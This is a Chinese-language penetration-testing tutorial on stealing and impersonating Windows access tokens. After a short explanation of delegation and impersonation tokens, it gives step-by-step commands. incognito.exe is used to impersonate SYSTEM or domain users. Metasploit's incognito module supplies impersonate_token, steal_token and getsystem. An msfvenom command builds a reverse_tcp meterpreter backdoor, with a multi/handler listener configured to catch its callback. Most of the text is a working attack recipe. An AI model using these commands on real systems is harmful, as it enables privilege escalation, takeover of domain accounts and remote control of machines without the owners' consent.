令牌盗取攻击
令牌(token)是系统的临时秘钥,相当于账号和密码,用来决定是否允许这次请求和判断这次请求是属于哪一个用户的。它允许你在不提供密码或其他凭证的前提下,访问网络和系统资源,这些令牌将持续存在于系统中,除非系统重新启动。
令牌最大的特点就是随机性,不可预测,黑客或软件无法猜测出令牌。
假冒令牌可以假冒一个网络中的另一个用户进行各类操作。所以当一个攻击者需要域管理员的操作权限时候,需要通过假冒域管理员的令牌进行攻击。
令牌有很多种:
• 访问令牌(Access Token):表示访问控制操作主体的系统对象
• 会话令牌(Session Token):是交互会话中唯一的身份标识符
• 密保令牌(Security Token):又叫做认证令牌或硬件令牌,是一种计算机身份校验的物理设备,例如 U 盾
Windows 的 AccessToken 有两种类型:
• Delegation Token:授权令牌,它支持交互式会话登录 (例如本地用户直接
登录、远程桌面登录访问)
• Impresonation Token:模拟令牌,它是非交互的会话 (例如使用 net use
访问共享文件夹)。
注: 两种 token 只在系统重启后清除 具有 Delegation token 的用户在注销后,该 Token 将变成 Impersonation token,依旧有效。
AccessToken 的窃取与利用
AccessToken的窃取与利用需要 administrator管理员权限。也就是说要提权。
窃取 AccessToken 的方法:
incognito.exe 程序 、InvokeTokenManipulat.ps1 脚本 、MSF 里的 incognito 模块
1.incognito
程序地址:https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
AccessToken的列举(需要 administrator 权限)
incognito.exe list_tokens -u
要使用 AccessToken 模拟其他用户,可以使用命令
incognito.exe execute -c "完整的 Token 名" cmd.exe
例如:模拟 system 权限用户(提权至 system):
incognito.exe execute -c "NT AUTHORITY\SYSTEM" cmd.exe
降权至当前用户:
incognito.exe execute -c "当前用户 token" cmd.exe
获取域普通用户
incognito.exe execute -c "icsec\test" cmd.exe
2.MSF 下的 incognito 模块
use incognito #加载 incognito
list_tokens -u #列出 AccessToken
getuid #查看当前 token
impersonate_token "NT AUTHORITY\SYSTEM" #模拟 system 用户,getsystem 命令
即实现了该命令。如果要模拟其他用户,将 token 名改为其他用户即可
steal_token 1252 #从进程窃取 token
getsystem #提升至 system 权限
rev2self #返回到之前的 AccessToken 权限
3.msf 令牌实战
msf 生成后门
msfvenom -p windows/x64/meterpreter/reverse_tcp LPORT=6666 LHOST=192.168.1.10 -f exe -o msf.exe
监听端口
msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set lhost 192.168.1.10
set lport 6666
exploit
使用incognito
use incognito #进入 incognito 模块
list_tokens -u #列出令牌
伪造令牌
impersonate_token 12SERVER-01\Administrator #假冒 12server-01\adminstrator 的令牌
impersonate_token moonsec\\test #假冒 icsec\test的令牌
impersonate_token "NT AUTHORITY\SYSTEM" #假冒 System 的令牌
除了可以伪造令牌 也可以从进程里窃取令牌 首先使用 ps 命令列出进程 查看进程用户使用 steal_token pid 窃取令牌就有对应的权限。
从进程窃取令牌
steal_token PID